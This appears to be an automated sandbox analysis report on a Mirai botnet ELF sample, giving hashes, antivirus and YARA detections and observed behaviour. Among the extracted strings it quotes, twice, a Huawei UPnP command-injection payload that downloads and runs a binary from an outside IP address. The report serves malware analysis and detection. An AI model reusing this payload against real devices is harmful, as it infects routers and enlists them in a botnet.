Linux Analysis Report
5Yj6rO0YeI.elf

Overview

General Information

Sample name: 5Yj6rO0YeI.elf
renamed because original name is a hash value
Original sample name: 6f969e8bcb01c4c044a429fc186f3806.elf
Analysis ID: 1436477
MD5: 6f969e8bcb01c4c044a429fc186f3806
SHA1: b27c07dc693c1456e72a344d2142a6b0242c2d8b
SHA256: 47ba79eda4f65afe0dd805f1fdadb254f318ed86e232931fcbd5fa54a785b795
Tags: 32armelfmirai
Infos:

Detection

Mirai
Score: 80
Range: 0 - 100
Whitelisted: false

Signatures

Antivirus / Scanner detection for submitted sample
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Yara detected Mirai
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Uses the "uname" system call to query kernel version information (possible evasion)
Yara signature match

Classification

Name Description Attribution Blogpost URLs Link
Mirai Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

AV Detection
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Antivirus / Scanner detection for submitted sample
Source: 5Yj6rO0YeI.elf Avira: detected
Multi AV Scanner detection for submitted file
Source: 5Yj6rO0YeI.elf ReversingLabs: Detection: 50%
Source: 5Yj6rO0YeI.elf Virustotal: Detection: 43% Perma Link
Found strings indicative of a multi-platform dropper
Source: 5Yj6rO0YeI.elf String: wgetcurlechobotdlr.mipsmpslx86armbinsboatnetskidsoraselfrepPOST /tmUnblock.cgi HTTP/1.1
Sample listens on a socket
Source: /tmp/5Yj6rO0YeI.elf (PID: 5429) Socket: 192.168.2.13::8345 Jump to behavior
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: global traffic DNS traffic detected: DNS query: daisy.ubuntu.com
Source: 5Yj6rO0YeI.elf String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: 5Yj6rO0YeI.elf String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

System Summary
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Malicious sample detected (through community Yara rule)
Source: 5Yj6rO0YeI.elf, type: SAMPLE Matched rule: Linux_Trojan_Mirai_0bce98a2 Author: unknown
Source: 5Yj6rO0YeI.elf, type: SAMPLE Matched rule: Detects Mirai Botnet Malware Author: Florian Roth
Source: 5435.1.00007f5e84017000.00007f5e84028000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_0bce98a2 Author: unknown
Source: 5435.1.00007f5e84017000.00007f5e84028000.r-x.sdmp, type: MEMORY Matched rule: Detects Mirai Botnet Malware Author: Florian Roth
Source: 5429.1.00007f5e84017000.00007f5e84028000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_0bce98a2 Author: unknown
Source: 5429.1.00007f5e84017000.00007f5e84028000.r-x.sdmp, type: MEMORY Matched rule: Detects Mirai Botnet Malware Author: Florian Roth
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.146.234.130 -l /tmp/a -r /mips; /bin/busybox chmod 777 /tmp/a; /tmp/a selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.146.234.130 -l /tmp/a -r /mips; /bin/busybox chmod 777 /tmp/a; /tmp/a selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Yara signature match
Source: 5Yj6rO0YeI.elf, type: SAMPLE Matched rule: Linux_Trojan_Mirai_0bce98a2 reference_sample = 1b20df8df7f84ad29d81ccbe276f49a6488c2214077b13da858656c027531c80, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 993d0d2e24152d0fb72cc5d5add395bed26671c3935f73386341398b91cb0e6e, id = 0bce98a2-113e-41e1-95c9-9e1852b26142, last_modified = 2021-09-16
Source: 5Yj6rO0YeI.elf, type: SAMPLE Matched rule: Mirai_Botnet_Malware date = 2016-10-04, hash5 = 420bf9215dfb04e5008c5e522eee9946599e2b323b17f17919cd802ebb012175, hash4 = 2efa09c124f277be2199bee58f49fc0ce6c64c0bef30079dfb3d94a6de492a69, hash3 = 20683ff7a5fec1237fc09224af40be029b9548c62c693844624089af568c89d4, hash2 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, hash1 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, author = Florian Roth, description = Detects Mirai Botnet Malware, hash10 = c61bf95146c68bfbbe01d7695337ed0e93ea759f59f651799f07eecdb339f83f, hash11 = d9573c3850e2ae35f371dff977fc3e5282a5e67db8e3274fd7818e8273fd5c89, hash12 = f1100c84abff05e0501e77781160d9815628e7fd2de9e53f5454dbcac7c84ca5, hash9 = bf0471b37dba7939524a30d7d5afc8fcfb8d4a7c9954343196737e72ea4e2dc4, hash8 = 89570ae59462e6472b6769545a999bde8457e47ae0d385caaa3499ab735b8147, hash7 = 70bb0ec35dd9afcfd52ec4e1d920e7045dc51dca0573cd4c753987c9d79405c0, hash6 = 62cdc8b7fffbaf5683a466f6503c03e68a15413a90f6afd5a13ba027631460c6, reference = Internal Research, license = https://creativecommons.org/licenses/by-nc/4.0/, hash13 = fb713ccf839362bf0fbe01aedd6796f4d74521b133011b408e42c1fd9ab8246b
Source: 5435.1.00007f5e84017000.00007f5e84028000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_0bce98a2 reference_sample = 1b20df8df7f84ad29d81ccbe276f49a6488c2214077b13da858656c027531c80, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 993d0d2e24152d0fb72cc5d5add395bed26671c3935f73386341398b91cb0e6e, id = 0bce98a2-113e-41e1-95c9-9e1852b26142, last_modified = 2021-09-16
Source: 5435.1.00007f5e84017000.00007f5e84028000.r-x.sdmp, type: MEMORY Matched rule: Mirai_Botnet_Malware date = 2016-10-04, hash5 = 420bf9215dfb04e5008c5e522eee9946599e2b323b17f17919cd802ebb012175, hash4 = 2efa09c124f277be2199bee58f49fc0ce6c64c0bef30079dfb3d94a6de492a69, hash3 = 20683ff7a5fec1237fc09224af40be029b9548c62c693844624089af568c89d4, hash2 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, hash1 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, author = Florian Roth, description = Detects Mirai Botnet Malware, hash10 = c61bf95146c68bfbbe01d7695337ed0e93ea759f59f651799f07eecdb339f83f, hash11 = d9573c3850e2ae35f371dff977fc3e5282a5e67db8e3274fd7818e8273fd5c89, hash12 = f1100c84abff05e0501e77781160d9815628e7fd2de9e53f5454dbcac7c84ca5, hash9 = bf0471b37dba7939524a30d7d5afc8fcfb8d4a7c9954343196737e72ea4e2dc4, hash8 = 89570ae59462e6472b6769545a999bde8457e47ae0d385caaa3499ab735b8147, hash7 = 70bb0ec35dd9afcfd52ec4e1d920e7045dc51dca0573cd4c753987c9d79405c0, hash6 = 62cdc8b7fffbaf5683a466f6503c03e68a15413a90f6afd5a13ba027631460c6, reference = Internal Research, license = https://creativecommons.org/licenses/by-nc/4.0/, hash13 = fb713ccf839362bf0fbe01aedd6796f4d74521b133011b408e42c1fd9ab8246b
Source: 5429.1.00007f5e84017000.00007f5e84028000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_0bce98a2 reference_sample = 1b20df8df7f84ad29d81ccbe276f49a6488c2214077b13da858656c027531c80, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 993d0d2e24152d0fb72cc5d5add395bed26671c3935f73386341398b91cb0e6e, id = 0bce98a2-113e-41e1-95c9-9e1852b26142, last_modified = 2021-09-16
Source: 5429.1.00007f5e84017000.00007f5e84028000.r-x.sdmp, type: MEMORY Matched rule: Mirai_Botnet_Malware date = 2016-10-04, hash5 = 420bf9215dfb04e5008c5e522eee9946599e2b323b17f17919cd802ebb012175, hash4 = 2efa09c124f277be2199bee58f49fc0ce6c64c0bef30079dfb3d94a6de492a69, hash3 = 20683ff7a5fec1237fc09224af40be029b9548c62c693844624089af568c89d4, hash2 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, hash1 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, author = Florian Roth, description = Detects Mirai Botnet Malware, hash10 = c61bf95146c68bfbbe01d7695337ed0e93ea759f59f651799f07eecdb339f83f, hash11 = d9573c3850e2ae35f371dff977fc3e5282a5e67db8e3274fd7818e8273fd5c89, hash12 = f1100c84abff05e0501e77781160d9815628e7fd2de9e53f5454dbcac7c84ca5, hash9 = bf0471b37dba7939524a30d7d5afc8fcfb8d4a7c9954343196737e72ea4e2dc4, hash8 = 89570ae59462e6472b6769545a999bde8457e47ae0d385caaa3499ab735b8147, hash7 = 70bb0ec35dd9afcfd52ec4e1d920e7045dc51dca0573cd4c753987c9d79405c0, hash6 = 62cdc8b7fffbaf5683a466f6503c03e68a15413a90f6afd5a13ba027631460c6, reference = Internal Research, license = https://creativecommons.org/licenses/by-nc/4.0/, hash13 = fb713ccf839362bf0fbe01aedd6796f4d74521b133011b408e42c1fd9ab8246b
Source: classification engine Classification label: mal80.troj.linELF@0/0@2/0
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/5Yj6rO0YeI.elf (PID: 5429) Queries kernel information via 'uname': Jump to behavior
Source: 5Yj6rO0YeI.elf, 5429.1.0000558457655000.0000558457783000.rw-.sdmp, 5Yj6rO0YeI.elf, 5435.1.0000558457655000.0000558457783000.rw-.sdmp Binary or memory string: U!/etc/qemu-binfmt/arm
Source: 5Yj6rO0YeI.elf, 5429.1.00007ffcb5a0c000.00007ffcb5a2d000.rw-.sdmp, 5Yj6rO0YeI.elf, 5435.1.00007ffcb5a0c000.00007ffcb5a2d000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/5Yj6rO0YeI.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/5Yj6rO0YeI.elf
Source: 5Yj6rO0YeI.elf, 5429.1.0000558457655000.0000558457783000.rw-.sdmp, 5Yj6rO0YeI.elf, 5435.1.0000558457655000.0000558457783000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/arm
Source: 5Yj6rO0YeI.elf, 5429.1.00007ffcb5a0c000.00007ffcb5a2d000.rw-.sdmp, 5Yj6rO0YeI.elf, 5435.1.00007ffcb5a0c000.00007ffcb5a2d000.rw-.sdmp Binary or memory string: /usr/bin/qemu-arm
Source: 5Yj6rO0YeI.elf, 5435.1.00007ffcb5a0c000.00007ffcb5a2d000.rw-.sdmp Binary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped

Stealing of Sensitive Information
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Yara detected Mirai
Source: Yara match File source: 5Yj6rO0YeI.elf, type: SAMPLE
Source: Yara match File source: 5435.1.00007f5e84017000.00007f5e84028000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 5429.1.00007f5e84017000.00007f5e84028000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: 5Yj6rO0YeI.elf PID: 5429, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 5Yj6rO0YeI.elf PID: 5435, type: MEMORYSTR

Remote Access Functionality
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Yara detected Mirai
Source: Yara match File source: 5Yj6rO0YeI.elf, type: SAMPLE
Source: Yara match File source: 5435.1.00007f5e84017000.00007f5e84028000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 5429.1.00007f5e84017000.00007f5e84028000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: 5Yj6rO0YeI.elf PID: 5429, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 5Yj6rO0YeI.elf PID: 5435, type: MEMORYSTR

No Screenshots

⊘No contacted IP infos

Contacted Domains

Name IP Active
daisy.ubuntu.com 162.213.35.25 true